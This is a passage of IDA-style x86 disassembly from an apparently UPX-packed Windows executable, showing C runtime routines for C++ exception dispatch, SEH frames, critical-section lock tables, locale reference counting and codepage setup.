; ---------------------------------------------------------------------------


loc_407561:				; CODE XREF: sub_407321+224j
		push	[ebp+arg_1C]
		mov	ebx, [ebp+var_C]
		push	[ebp+arg_18]
		mov	[ebp+var_1], 1
		push	[ebp+var_20]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	esi
		mov	esi, [ebp+arg_4]
		call	sub_4071C3
		mov	esi, [ebp+arg_0]
		add	esp, 1Ch


loc_407589:				; CODE XREF: sub_407321+1E1j
					; sub_407321+1EAj ...
		inc	[ebp+var_10]
		add	edi, 14h
		jmp	loc_4074F1
; ---------------------------------------------------------------------------


loc_407594:				; CODE XREF: sub_407321+1D6j
		mov	edi, [ebp+arg_10]


loc_407597:				; CODE XREF: sub_407321+1B1j
		cmp	[ebp+arg_14], 0
		jz	short loc_4075A7
		push	1
		push	esi
		call	sub_406CDC
		pop	ecx
		pop	ecx


loc_4075A7:				; CODE XREF: sub_407321+27Aj
		cmp	[ebp+var_1], 0
		jnz	loc_40765F
		mov	eax, [edi]
		and	eax, 1FFFFFFFh
		cmp	eax, 19930521h
		jb	loc_40765F
		mov	edi, [edi+1Ch]
		test	edi, edi
		jz	loc_40765F
		push	esi
		call	sub_406D55
		test	al, al
		pop	ecx
		jnz	loc_40765F
		call	sub_404927
		call	sub_404927
		call	sub_404927
		mov	[eax+88h], esi
		call	sub_404927
		cmp	[ebp+arg_1C], 0
		mov	ecx, [ebp+arg_8]
		mov	[eax+8Ch], ecx
		push	esi
		jnz	short loc_40760C
		push	[ebp+arg_4]
		jmp	short loc_40760F
; ---------------------------------------------------------------------------


loc_40760C:				; CODE XREF: sub_407321+2E4j
		push	[ebp+arg_1C]


loc_40760F:				; CODE XREF: sub_407321+2E9j
		call	sub_4041CE
		mov	esi, [ebp+arg_10]
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_406BB6
		add	esp, 10h
		push	dword ptr [esi+1Ch]
		call	sub_406DCE


loc_407630:				; CODE XREF: sub_407321+181j
					; sub_407321+18Bj ...
		mov	ebx, [ebp+arg_10]


loc_407633:				; CODE XREF: sub_407321+41j
		cmp	dword ptr [ebx+0Ch], 0
		jbe	short loc_40765F
		cmp	[ebp+arg_14], 0
		jnz	loc_40745F
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_8]
		push	ebx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_40722F
		add	esp, 20h


loc_40765F:				; CODE XREF: sub_407321+28Aj
					; sub_407321+29Cj ...
		call	sub_404927
		cmp	dword ptr [eax+94h], 0
		jz	short loc_407672
		call	sub_4077BF


loc_407672:				; CODE XREF: sub_407321+85j
					; sub_407321+34Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_407321	endp

; ---------------------------------------------------------------------------
		push	esi
		push	dword ptr [esp+8]
		mov	esi, ecx
		call	sub_402457
		mov	dword ptr [esi], offset	off_40C864
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40768F	proc near		; CODE XREF: sub_404220+21p
					; UPX0:0040427Cp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_404927
		cmp	dword ptr [eax+20Ch], 0
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+arg_0]
		mov	edi, 0E06D7363h
		mov	esi, 1FFFFFFFh
		mov	ebx, 19930522h
		jnz	short loc_4076D8
		mov	edx, [ecx]
		cmp	edx, edi
		jz	short loc_4076D8
		cmp	edx, 80000026h
		jz	short loc_4076D8
		mov	edx, [eax]
		and	edx, esi
		cmp	edx, ebx
		jb	short loc_4076D8
		test	byte ptr [eax+20h], 1
		jnz	loc_40776B


loc_4076D8:				; CODE XREF: sub_40768F+27j
					; sub_40768F+2Dj ...
		test	byte ptr [ecx+4], 66h
		jz	short loc_407701
		cmp	dword ptr [eax+4], 0
		jz	loc_40776B
		cmp	[ebp+arg_14], 0
		jnz	short loc_40776B
		push	0FFFFFFFFh
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_406BB6
		add	esp, 10h
		jmp	short loc_40776B
; ---------------------------------------------------------------------------


loc_407701:				; CODE XREF: sub_40768F+4Dj
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_407719
		mov	edx, [eax]
		and	edx, esi
		cmp	edx, 19930521h
		jb	short loc_40776B
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_40776B


loc_407719:				; CODE XREF: sub_40768F+76j
		cmp	[ecx], edi
		jnz	short loc_40774F
		cmp	dword ptr [ecx+10h], 3
		jb	short loc_40774F
		cmp	[ecx+14h], ebx
		jbe	short loc_40774F
		mov	edx, [ecx+1Ch]
		mov	edx, [edx+8]
		test	edx, edx
		jz	short loc_40774F
		movzx	esi, byte ptr [ebp+arg_1C]
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ecx
		call	edx
		add	esp, 20h
		jmp	short loc_40776E
; ---------------------------------------------------------------------------


loc_40774F:				; CODE XREF: sub_40768F+8Cj
					; sub_40768F+92j ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ecx
		call	sub_407321
		add	esp, 20h


loc_40776B:				; CODE XREF: sub_40768F+43j
					; sub_40768F+53j ...
		xor	eax, eax
		inc	eax


loc_40776E:				; CODE XREF: sub_40768F+BEj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40768F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407773	proc near		; CODE XREF: sub_405ED8:loc_405F0Bp
					; sub_406B72+22j ...

ms_exc		= CPPEH_RECORD ptr -18h

; FUNCTION CHUNK AT 0040779A SIZE 00000012 BYTES

		push	8
		push	offset dword_40E0E8
		call	__SEH_prolog4
		call	sub_404927
		mov	eax, [eax+78h]
		test	eax, eax
		jz	short loc_4077A1
		and	[ebp+ms_exc.disabled], 0
		call	eax
		jmp	short loc_40779A
sub_407773	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_407773


loc_40779A:				; CODE XREF: sub_407773+1Ej
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh


loc_4077A1:				; CODE XREF: sub_407773+16j
		call	loc_409D40
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_407773

; =============== S U B	R O U T	I N E =======================================



sub_4077AC	proc near		; CODE XREF: sub_406DCE+23p
		call	sub_404927
		mov	eax, [eax+7Ch]
		test	eax, eax
		jz	short loc_4077BA
		call	eax


loc_4077BA:				; CODE XREF: sub_4077AC+Aj
		jmp	sub_407773
sub_4077AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4077BF	proc near		; CODE XREF: sub_4043F8+1Cp
					; sub_4043F8:loc_404459p ...

ms_exc		= CPPEH_RECORD ptr -18h

		push	8
		push	offset dword_40E108
		call	__SEH_prolog4
		push	ds:dword_4105D8
		call	sub_40470B
		pop	ecx
		test	eax, eax
		jz	short loc_4077F1
		and	[ebp+ms_exc.disabled], 0
		call	eax
		jmp	short loc_4077EA
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]


loc_4077EA:				; CODE XREF: sub_4077BF+22j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh


loc_4077F1:				; CODE XREF: sub_4077BF+1Aj
		jmp	sub_407773
sub_4077BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4077F6	proc near		; CODE XREF: sub_405819+33p
		push	offset sub_407773
		call	sub_404694
		pop	ecx
		mov	ds:dword_4105D8, eax
		retn
sub_4077F6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407810	proc near		; CODE XREF: sub_404500+4Ap
					; sub_406BB6+77p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_409F40
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_40784F
		mov	ecx, 2


loc_40784F:				; CODE XREF: sub_407810+38j
		push	ecx
		call	sub_409F40
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_407810	endp


; =============== S U B	R O U T	I N E =======================================



sub_40785C	proc near		; CODE XREF: sub_404A60+10Cp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset dword_4105E0


loc_407865:				; CODE XREF: sub_40785C+35j
		cmp	ds:dword_40F3A4[esi*8],	1
		jnz	short loc_40788D
		lea	eax, ds:40F3A0h[esi*8]
		mov	[eax], edi
		push	0FA0h
		push	dword ptr [eax]
		add	edi, 18h
		call	sub_409843
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_407899


loc_40788D:				; CODE XREF: sub_40785C+11j
		inc	esi
		cmp	esi, 24h
		jl	short loc_407865
		xor	eax, eax
		inc	eax


loc_407896:				; CODE XREF: sub_40785C+47j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_407899:				; CODE XREF: sub_40785C+2Fj
		and	ds:off_40F3A0[esi*8], 0
		xor	eax, eax
		jmp	short loc_407896
sub_40785C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4078A5	proc near		; CODE XREF: sub_4047B4:loc_4047ECj
		push	ebx
		mov	ebx, dword_40C0BC
		push	esi
		mov	esi, offset off_40F3A0
		push	edi


loc_4078B3:				; CODE XREF: sub_4078A5+30j
		mov	edi, [esi]
		test	edi, edi
		jz	short loc_4078CC
		cmp	dword ptr [esi+4], 1
		jz	short loc_4078CC
		push	edi
		call	ebx ; dword_40C0BC
		push	edi
		call	sub_404F20
		and	dword ptr [esi], 0
		pop	ecx


loc_4078CC:				; CODE XREF: sub_4078A5+12j
					; sub_4078A5+18j
		add	esi, 8
		cmp	esi, offset off_40F4C0
		jl	short loc_4078B3
		mov	esi, offset off_40F3A0
		pop	edi


loc_4078DD:				; CODE XREF: sub_4078A5+50j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4078EC
		cmp	dword ptr [esi+4], 1
		jnz	short loc_4078EC
		push	eax
		call	ebx ; dword_40C0BC


loc_4078EC:				; CODE XREF: sub_4078A5+3Cj
					; sub_4078A5+42j
		add	esi, 8
		cmp	esi, offset off_40F4C0
		jl	short loc_4078DD
		pop	esi
		pop	ebx
		retn
sub_4078A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4078FA	proc near		; CODE XREF: sub_4048A7+2p
					; sub_404A4B+2p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	ds:off_40F3A0[eax*8]
		call	dword_40C0DC	; RtlLeaveCriticalSection
		pop	ebp
		retn
sub_4078FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40790F	proc near		; CODE XREF: sub_4079D2+14p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_40E128
		call	__SEH_prolog4
		xor	edi, edi
		inc	edi
		mov	[ebp+var_1C], edi
		xor	ebx, ebx
		cmp	ds:dword_4105D4, ebx
		jnz	short loc_407943
		call	sub_4060C3
		push	1Eh
		call	sub_405F23
		push	0FFh
		call	sub_405593
		pop	ecx
		pop	ecx


loc_407943:				; CODE XREF: sub_40790F+1Aj
		mov	esi, [ebp+arg_0]
		lea	esi, ds:40F3A0h[esi*8]
		cmp	[esi], ebx
		jz	short loc_407955
		mov	eax, edi
		jmp	short loc_4079C3
; ---------------------------------------------------------------------------


loc_407955:				; CODE XREF: sub_40790F+40j
		push	18h
		call	sub_4053D3
		pop	ecx
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_407972
		call	sub_4053C0
		mov	dword ptr [eax], 0Ch
		xor	eax, eax
		jmp	short loc_4079C3
; ---------------------------------------------------------------------------


loc_407972:				; CODE XREF: sub_40790F+52j
		push	0Ah
		call	sub_4079D2
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		cmp	[esi], ebx
		jnz	short loc_4079AD
		push	0FA0h
		push	edi
		call	sub_409843
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4079A9
		push	edi
		call	sub_404F20
		pop	ecx
		call	sub_4053C0
		mov	dword ptr [eax], 0Ch
		mov	[ebp+var_1C], ebx
		jmp	short loc_4079B4
; ---------------------------------------------------------------------------


loc_4079A9:				; CODE XREF: sub_40790F+81j
		mov	[esi], edi
		jmp	short loc_4079B4
; ---------------------------------------------------------------------------


loc_4079AD:				; CODE XREF: sub_40790F+70j
		push	edi
		call	sub_404F20
		pop	ecx


loc_4079B4:				; CODE XREF: sub_40790F+98j
					; sub_40790F+9Cj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_4079C9
		mov	eax, [ebp+var_1C]


loc_4079C3:				; CODE XREF: sub_40790F+44j
					; sub_40790F+61j
		call	__SEH_epilog4
		retn
sub_40790F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4079C9	proc near		; CODE XREF: sub_40790F+ACp
					; DATA XREF: UPX1:0040E140o
		push	0Ah
		call	sub_4078FA
		pop	ecx
		retn
sub_4079C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4079D2	proc near		; CODE XREF: sub_4047F1+7Fp
					; sub_40493F+7Ep ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		lea	esi, ds:40F3A0h[eax*8]
		cmp	dword ptr [esi], 0
		jnz	short loc_4079F8
		push	eax
		call	sub_40790F
		test	eax, eax
		pop	ecx
		jnz	short loc_4079F8
		push	11h
		call	sub_405549
		pop	ecx


loc_4079F8:				; CODE XREF: sub_4079D2+11j
					; sub_4079D2+1Cj
		push	dword ptr [esi]
		call	dword_40C0E0	; RtlEnterCriticalSection
		pop	esi
		pop	ebp
		retn
sub_4079D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_407A03	proc near		; CODE XREF: sub_40493F+E8p
					; sub_407C55+31p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	eax, [esi+0BCh]
		xor	ebp, ebp
		cmp	eax, ebp
		push	edi
		jz	short loc_407A86
		cmp	eax, offset off_40FBE0
		jz	short loc_407A86
		mov	eax, [esi+0B0h]
		cmp	eax, ebp
		jz	short loc_407A86
		cmp	[eax], ebp
		jnz	short loc_407A86
		mov	eax, [esi+0B8h]
		cmp	eax, ebp
		jz	short loc_407A4D
		cmp	[eax], ebp
		jnz	short loc_407A4D
		push	eax
		call	sub_404F20
		push	dword ptr [esi+0BCh]
		call	sub_40A13B
		pop	ecx
		pop	ecx


loc_407A4D:				; CODE XREF: sub_407A03+31j
					; sub_407A03+35j
		mov	eax, [esi+0B4h]
		cmp	eax, ebp
		jz	short loc_407A6E
		cmp	[eax], ebp
		jnz	short loc_407A6E
		push	eax
		call	sub_404F20
		push	dword ptr [esi+0BCh]
		call	sub_40A0FB
		pop	ecx
		pop	ecx


loc_407A6E:				; CODE XREF: sub_407A03+52j
					; sub_407A03+56j
		push	dword ptr [esi+0B0h]
		call	sub_404F20
		push	dword ptr [esi+0BCh]
		call	sub_404F20
		pop	ecx
		pop	ecx


loc_407A86:				; CODE XREF: sub_407A03+12j
					; sub_407A03+19j ...
		mov	eax, [esi+0C0h]
		cmp	eax, ebp
		jz	short loc_407AD4
		cmp	[eax], ebp
		jnz	short loc_407AD4
		mov	eax, [esi+0C4h]
		sub	eax, 0FEh
		push	eax
		call	sub_404F20
		mov	eax, [esi+0CCh]
		mov	edi, 80h
		sub	eax, edi
		push	eax
		call	sub_404F20
		mov	eax, [esi+0D0h]
		sub	eax, edi
		push	eax
		call	sub_404F20
		push	dword ptr [esi+0C0h]
		call	sub_404F20
		add	esp, 10h


loc_407AD4:				; CODE XREF: sub_407A03+8Bj
					; sub_407A03+8Fj
		lea	edi, [esi+0D4h]
		mov	eax, [edi]
		cmp	eax, offset off_40FB20
		jz	short loc_407AFA
		cmp	[eax+0B4h], ebp
		jnz	short loc_407AFA
		push	eax
		call	sub_409F6B
		push	dword ptr [edi]
		call	sub_404F20
		pop	ecx
		pop	ecx


loc_407AFA:				; CODE XREF: sub_407A03+DEj
					; sub_407A03+E6j
		push	6
		lea	edi, [esi+50h]
		pop	ebx


loc_407B00:				; CODE XREF: sub_407A03+132j
		cmp	dword ptr [edi-8], offset dword_40F4C8
		jz	short loc_407B1A
		mov	eax, [edi]
		cmp	eax, ebp
		jz	short loc_407B1A
		cmp	[eax], ebp
		jnz	short loc_407B1A
		push	eax
		call	sub_404F20
		pop	ecx


loc_407B1A:				; CODE XREF: sub_407A03+104j
					; sub_407A03+10Aj ...
		cmp	[edi-4], ebp
		jz	short loc_407B31
		mov	eax, [edi+4]
		cmp	eax, ebp
		jz	short loc_407B31
		cmp	[eax], ebp
		jnz	short loc_407B31
		push	eax
		call	sub_404F20
		pop	ecx


loc_407B31:				; CODE XREF: sub_407A03+11Aj
					; sub_407A03+121j ...
		add	edi, 10h
		dec	ebx
		jnz	short loc_407B00
		push	esi
		call	sub_404F20
		pop	ecx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_407A03	endp


; =============== S U B	R O U T	I N E =======================================



sub_407B43	proc near		; CODE XREF: sub_4047F1+9Ep
					; sub_407C55+12p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		mov	edi, dword_40C07C
		push	esi
		call	edi ; dword_40C07C
		mov	eax, [esi+0B0h]
		test	eax, eax
		jz	short loc_407B61
		push	eax
		call	edi ; dword_40C07C


loc_407B61:				; CODE XREF: sub_407B43+19j
		mov	eax, [esi+0B8h]
		test	eax, eax
		jz	short loc_407B6E
		push	eax
		call	edi ; dword_40C07C


loc_407B6E:				; CODE XREF: sub_407B43+26j
		mov	eax, [esi+0B4h]
		test	eax, eax
		jz	short loc_407B7B
		push	eax
		call	edi ; dword_40C07C


loc_407B7B:				; CODE XREF: sub_407B43+33j
		mov	eax, [esi+0C0h]
		test	eax, eax
		jz	short loc_407B88
		push	eax
		call	edi ; dword_40C07C


loc_407B88:				; CODE XREF: sub_407B43+40j
		push	6
		lea	ebx, [esi+50h]
		pop	ebp


loc_407B8E:				; CODE XREF: sub_407B43+71j
		cmp	dword ptr [ebx-8], offset dword_40F4C8
		jz	short loc_407BA0
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_407BA0
		push	eax
		call	edi ; dword_40C07C


loc_407BA0:				; CODE XREF: sub_407B43+52j
					; sub_407B43+58j
		cmp	dword ptr [ebx-4], 0
		jz	short loc_407BB0
		mov	eax, [ebx+4]
		test	eax, eax
		jz	short loc_407BB0
		push	eax
		call	edi ; dword_40C07C


loc_407BB0:				; CODE XREF: sub_407B43+61j
					; sub_407B43+68j
		add	ebx, 10h
		dec	ebp
		jnz	short loc_407B8E
		mov	eax, [esi+0D4h]
		add	eax, 0B4h
		push	eax
		call	edi ; dword_40C07C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_407B43	endp


; =============== S U B	R O U T	I N E =======================================



sub_407BC9	proc near		; CODE XREF: sub_40493F+CCp
					; sub_407C55+1Dp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_407C51
		push	ebx
		push	ebp
		push	edi
		mov	edi, dword_40C08C
		push	esi
		call	edi ; dword_40C08C
		mov	eax, [esi+0B0h]
		test	eax, eax
		jz	short loc_407BEB
		push	eax
		call	edi ; dword_40C08C


loc_407BEB:				; CODE XREF: sub_407BC9+1Dj
		mov	eax, [esi+0B8h]
		test	eax, eax
		jz	short loc_407BF8
		push	eax
		call	edi ; dword_40C08C


loc_407BF8:				; CODE XREF: sub_407BC9+2Aj
		mov	eax, [esi+0B4h]
		test	eax, eax
		jz	short loc_407C05
		push	eax
		call	edi ; dword_40C08C


loc_407C05:				; CODE XREF: sub_407BC9+37j
		mov	eax, [esi+0C0h]
		test	eax, eax
		jz	short loc_407C12
		push	eax
		call	edi ; dword_40C08C


loc_407C12:				; CODE XREF: sub_407BC9+44j
		push	6
		lea	ebx, [esi+50h]
		pop	ebp


loc_407C18:				; CODE XREF: sub_407BC9+75j
		cmp	dword ptr [ebx-8], offset dword_40F4C8
		jz	short loc_407C2A
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_407C2A
		push	eax
		call	edi ; dword_40C08C


loc_407C2A:				; CODE XREF: sub_407BC9+56j
					; sub_407BC9+5Cj
		cmp	dword ptr [ebx-4], 0
		jz	short loc_407C3A
		mov	eax, [ebx+4]
		test	eax, eax
		jz	short loc_407C3A
		push	eax
		call	edi ; dword_40C08C


loc_407C3A:				; CODE XREF: sub_407BC9+65j
					; sub_407BC9+6Cj
		add	ebx, 10h
		dec	ebp
		jnz	short loc_407C18
		mov	eax, [esi+0D4h]
		add	eax, 0B4h
		push	eax
		call	edi ; dword_40C08C
		pop	edi
		pop	ebp
		pop	ebx


loc_407C51:				; CODE XREF: sub_407BC9+7j
		mov	eax, esi
		pop	esi
		retn
sub_407BC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_407C55	proc near		; CODE XREF: sub_407C93+54p
		test	edi, edi
		jz	short loc_407C90
		test	eax, eax
		jz	short loc_407C90
		push	esi
		mov	esi, [eax]
		cmp	esi, edi
		jz	short loc_407C8C
		push	edi
		mov	[eax], edi
		call	sub_407B43
		test	esi, esi
		pop	ecx
		jz	short loc_407C8C
		push	esi
		call	sub_407BC9
		cmp	dword ptr [esi], 0
		pop	ecx
		jnz	short loc_407C8C
		cmp	esi, offset dword_40F4D0
		jz	short loc_407C8C
		push	esi
		call	sub_407A03
		pop	ecx


loc_407C8C:				; CODE XREF: sub_407C55+Dj
					; sub_407C55+1Aj ...
		mov	eax, edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_407C90:				; CODE XREF: sub_407C55+2j
					; sub_407C55+6j
		xor	eax, eax
		retn
sub_407C55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407C93	proc near		; CODE XREF: sub_407FBB+37p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset dword_40E148
		call	__SEH_prolog4
		call	sub_404927
		mov	esi, eax
		mov	eax, ds:dword_40FC14
		test	[esi+70h], eax
		jz	short loc_407CD2
		cmp	dword ptr [esi+6Ch], 0
		jz	short loc_407CD2
		call	sub_404927
		mov	esi, [eax+6Ch]


loc_407CBE:				; CODE XREF: sub_407C93+68j
		test	esi, esi
		jnz	short loc_407CCA
		push	20h
		call	sub_405549
		pop	ecx


loc_407CCA:				; CODE XREF: sub_407C93+2Dj
		mov	eax, esi
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------


loc_407CD2:				; CODE XREF: sub_407C93+1Bj
					; sub_407C93+21j
		push	0Ch
		call	sub_4079D2
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		lea	eax, [esi+6Ch]
		mov	edi, ds:off_40F5A8
		call	sub_407C55
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_407CFD
		jmp	short loc_407CBE
sub_407C93	endp


; =============== S U B	R O U T	I N E =======================================



sub_407CFD	proc near		; CODE XREF: sub_407C93+63p
					; DATA XREF: UPX1:0040E160o
		push	0Ch
		call	sub_4078FA
		pop	ecx
		mov	esi, [ebp-1Ch]
		retn
sub_407CFD	endp


; =============== S U B	R O U T	I N E =======================================



sub_407D09	proc near		; CODE XREF: sub_4080B7+14Cp
					; sub_4080B7+1A1p
		sub	eax, 3A4h
		jz	short loc_407D32
		sub	eax, 4
		jz	short loc_407D2C
		sub	eax, 0Dh
		jz	short loc_407D26
		dec	eax
		jz	short loc_407D20
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_407D20:				; CODE XREF: sub_407D09+12j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_407D26:				; CODE XREF: sub_407D09+Fj
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_407D2C:				; CODE XREF: sub_407D09+Aj
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_407D32:				; CODE XREF: sub_407D09+5j
		mov	eax, 411h
		retn
sub_407D09	endp


; =============== S U B	R O U T	I N E =======================================



sub_407D38	proc near		; CODE XREF: sub_4080B7+2Bp
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, 101h
		mov	esi, eax
		push	ebp
		xor	edi, edi
		lea	ebx, [esi+1Ch]
		push	edi
		push	ebx
		call	sub_4021D0
		mov	[esi+4], edi
		mov	[esi+8], edi
		mov	[esi+0Ch], edi
		xor	eax, eax
		lea	edi, [esi+10h]
		stosd
		stosd
		stosd
		mov	eax, offset dword_40F5B8
		add	esp, 0Ch
		sub	eax, esi


loc_407D6B:				; CODE XREF: sub_407D38+3Aj
		mov	cl, [eax+ebx]
		mov	[ebx], cl
		inc	ebx
		dec	ebp
		jnz	short loc_407D6B
		lea	ecx, [esi+11Dh]
		mov	esi, 100h


loc_407D7F:				; CODE XREF: sub_407D38+4Ej
		mov	dl, [ecx+eax]
		mov	[ecx], dl
		inc	ecx
		dec	esi
		jnz	short loc_407D7F
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_407D38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=49Ch


sub_407D8D	proc near		; CODE XREF: sub_4080B7+16Fp

var_51C		= dword	ptr -51Ch
var_518		= byte ptr -518h
var_512		= byte ptr -512h
var_511		= byte ptr -511h
var_504		= word ptr -504h
var_304		= byte ptr -304h
var_204		= byte ptr -204h
var_104		= byte ptr -104h
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-49Ch]
		sub	esp, 51Ch
		mov	eax, ds:dword_40F060
		xor	eax, ebp
		mov	[ebp+49Ch+var_4], eax
		push	ebx
		push	edi
		lea	eax, [ebp+49Ch+var_518]
		push	eax
		push	dword ptr [esi+4]
		call	dword_40C0E4	; GetCPInfo
		test	eax, eax
		mov	edi, 100h
		jz	loc_407EB3
		xor	eax, eax


loc_407DC6:				; CODE XREF: sub_407D8D+43j
		mov	[ebp+eax+49Ch+var_104],	al
		inc	eax
		cmp	eax, edi
		jb	short loc_407DC6
		mov	al, [ebp+49Ch+var_512]
		test	al, al
		mov	[ebp+49Ch+var_104], 20h
		jz	short loc_407E0B
		lea	ebx, [ebp+49Ch+var_511]


loc_407DE3:				; CODE XREF: sub_407D8D+7Cj
		movzx	ecx, al
		movzx	eax, byte ptr [ebx]
		cmp	ecx, eax
		ja	short loc_407E03
		sub	eax, ecx
		inc	eax
		push	eax
		lea	edx, [ebp+ecx+49Ch+var_104]
		push	20h
		push	edx
		call	sub_4021D0
		add	esp, 0Ch


loc_407E03:				; CODE XREF: sub_407D8D+5Ej
		inc	ebx
		mov	al, [ebx]
		inc	ebx
		test	al, al
		jnz	short loc_407DE3


loc_407E0B:				; CODE XREF: sub_407D8D+51j
		push	0
		push	dword ptr [esi+0Ch]
		lea	eax, [ebp+49Ch+var_504]
		push	dword ptr [esi+4]
		push	eax
		push	edi
		lea	eax, [ebp+49Ch+var_104]
		push	eax
		push	1
		push	0
		call	sub_40A3DE
		xor	ebx, ebx
		push	ebx
		push	dword ptr [esi+4]
		lea	eax, [ebp+49Ch+var_204]
		push	edi
		push	eax
		push	edi
		lea	eax, [ebp+49Ch+var_104]
		push	eax
		push	edi
		push	dword ptr [esi+0Ch]
		push	ebx
		call	sub_40A802
		add	esp, 44h
		push	ebx
		push	dword ptr [esi+4]
		lea	eax, [ebp+49Ch+var_304]
		push	edi
		push	eax
		push	edi
		lea	eax, [ebp+49Ch+var_104]
		push	eax
		push	200h
		push	dword ptr [esi+0Ch]
		push	ebx
		call	sub_40A802
		add	esp, 24h
		xor	eax, eax


loc_407E72:				; CODE XREF: sub_407D8D+122j
		movzx	ecx, [ebp+eax*2+49Ch+var_504]
		test	cl, 1
		jz	short loc_407E8A
		or	byte ptr [esi+eax+1Dh],	10h
		mov	cl, [ebp+eax+49Ch+var_204]
		jmp	short loc_407E9B
; ---------------------------------------------------------------------------


loc_407E8A:				; CODE XREF: sub_407D8D+EDj
		test	cl, 2
